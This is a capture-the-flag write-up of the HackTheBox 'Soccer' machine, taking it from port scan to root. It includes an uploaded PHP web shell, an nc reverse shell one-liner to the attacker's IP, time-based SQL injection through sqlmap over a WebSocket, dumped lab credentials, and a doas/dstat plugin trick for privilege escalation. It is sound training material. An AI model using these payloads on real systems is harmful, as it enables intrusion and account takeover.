Soccer hackthebox writeup
User Flag
nmap -sS -p- -n -Pn --min-rate 5000 -vv 10.10.11.194
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
9091/tcp open xmltec-xmlmail syn-ack ttl 63
At first finding port 9091 open was a little bit confusing however, let’s focus on port 80 as usual. On the main page nothing really meaningful shows so I started fuzzing. (As always add the url to your /etc/hosts
)
ffuf -w ~/wordlist/directory-list-2.3-big.txt -u http://soccer.htb/FUZZ -v -t 200
[Status: 301, Size: 178, Words: 6, Lines: 8]
| URL | http://soccer.htb/tiny
| --> | http://soccer.htb/tiny/
* FUZZ: tiny
Now we have a login page but none of our login bypass techniques seems to work (sqli,nosqli,ldap…) so I searched for tiny file manager
to see if it had a github repo or something similar and it did. In this part of the repo we have the default credentials, let’s try these out.
Now that we logged in if you search for exploits you may find a couple however, we do not need them since we can just create our own directory and upload our files. If you go to /tiny/uploads
you can create a new directory by pressing the New item
button. Just create a folder and upload some malicious files to get reverse shell access. In my case I uploaded 2 files, cmd.php
& shell.sh
, and set the shell.sh
perms to executable.
#cmd.php
<?php system($_REQUEST['cmd']); ?>
#shell.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.52 7777 >/tmp/f
Now by visiting the url http://soccer.htb/tiny/uploads/test/file.php?cmd=bash%20./shell.sh
and opening a port we have reverse shell access.
nc -lvp 7777
Connection from 10.10.11.194:52058
bash: cannot set terminal process group (1041): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:~/html/tiny/uploads/test$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<st$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@soccer:~/html/tiny/uploads/test$ ^Z
zsh: suspended nc -lvp 7777
[dasor@archlinux ~]$ stty raw -echo;fg
[1] + continued nc -lvp 7777
script /dev/null -c bash
Script started, file is /dev/null
www-data@soccer:~/html/tiny/uploads/test$ export TERM=xterm
www-data@soccer:~/html/tiny/uploads/test$ stty rows 30 columns 132
www-data@soccer:~/html/tiny/uploads/test$
Once we have a comfortable environment to work with it’s time to start searching how to privesc to user player. By going through the nginx config files we found a new subdomain
cd /etc/nginx/sites-enabled/
www-data@soccer:/etc/nginx/sites-enabled$ ls
default soc-player.htb
We can visit it by adding it to our /etc/hosts
. If we create a user we will be able to use the ticketing functionality and If you intercept that request with burpsuite you will find that is going to a WebSocket in port 9091. This is vulnerable to sql injection. just try the payload 1 union select 1,2,3
and it will return ticket exists. However, we can’t manually dump the database but sqlmap
can do it for us with time-based injections. Nevertheless, sqlmap doesn’t have any well-documented option to attack web sockets so I’m going to use a tool created by Rayhan0x01. Once we have the tool ready let’s use it. (This is going to take so time since it is a time-based injection)
[dasor@archlinux ~/htb/soccer]$ python3 middleware.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*
...
[dasor@archlinux ~/htb/soccer]$ sqlmap -u http://localhost:8081/?id=1 --dbs
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 5641 FROM (SELECT(SLEEP(5)))NSUp)
---
[12:21:18] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[12:21:52] [INFO] adjusting time delay to 1 second due to good response times
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
Let’s now check the tables of the DB soccer_db
sqlmap -u http://localhost:8081/?id=1 -D soccer_db --tables
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
Then the columns
sqlmap -u http://localhost:8081/?id=1 -D soccer_db -T accounts --columns
Database: soccer_db
Table: accounts
[4 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| email | varchar(40) |
| id | int |
| password | varchar(40) |
| username | varchar(40) |
+----------+-------------+
Lastly let’s dump both of the colummns password and username.
Database: soccer_db
Table: accounts
[1 entry]
+----------------------+----------+
| password | username |
+----------------------+----------+
| PlayerOftheMatch2022 | player |
+----------------------+----------+
At this point we can get the user flag.
su player
Password:
player@soccer:/etc/nginx/sites-enabled$ cd
player@soccer:~$ ls
user.txt
Root flag
Now by doing the usual privesc checklist we find something interesting if we search for SUID binaries.
player@soccer:~$ find / -perm -4000 2>/dev/null
/usr/local/bin/doas
...
doas is a tool similar to sudo and that I actually use in some of my computers so I checked it’s config file.
player@soccer:~$ cat $(find / -iname doas.conf 2>/dev/null)
permit nopass player as root cmd /usr/bin/dstat
Basically, the config file implies that we are allowed to execute dstat as root without a password. By checking dstat -h
we see it can load python plugins but we can’t write in the plugins directory
player@soccer:~$ doas /usr/bin/dstat --list
internal:
aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,int24,io,ipc,load,lock,mem,mem-adv,
net,page,page24,proc,raw,socket,swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
/usr/share/dstat:
battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,disk-svctm,disk-tps,disk-util,disk-wait,
dstat,dstat-cpu,dstat-ctxt,dstat-mem,fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,innodb-io,
innodb-ops,jvm-full,jvm-vm,lustre,md-status,memcache-hits,mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,
mongodb-stats,mysql-io,mysql-keys,mysql5-cmds,mysql5-conn,mysql5-innodb,mysql5-innodb-basic,mysql5-innodb-extra,
mysql5-io,mysql5-keys,net-packets,nfs3,nfs3-ops,nfsd3,nfsd3-ops,nfsd4-ops,nfsstat4,ntp,postfix,power,
proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,snmp-net,snmp-net-err,snmp-sys,snooze,
squid,test,thermal,top-bio,top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,top-int,
top-io,top-io-adv,top-latency,top-latency-avg,top-mem,top-oom,utmp,vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,
vmk-nic,vz-cpu,vz-io,vz-ubc,wifi,zfs-arc,zfs-l2arc,zfs-zil
But if we look deeply into the manual we can find the last step.
Paths that may contain external dstat_*.py plugins:
~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/
We have write permissions on /usr/local/share/dstat
so by creating a simple script we can get root
player@soccer:/usr/local/share/dstat$ cat > dstat_shell.py
import os;
os.system("bash")
^C
player@soccer:/usr/local/share/dstat$ ls
dstat_shell.py
player@soccer:/usr/local/share/dstat$ doas /usr/bin/dstat --shell
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
root@soccer:/usr/local/share/dstat# whoami
root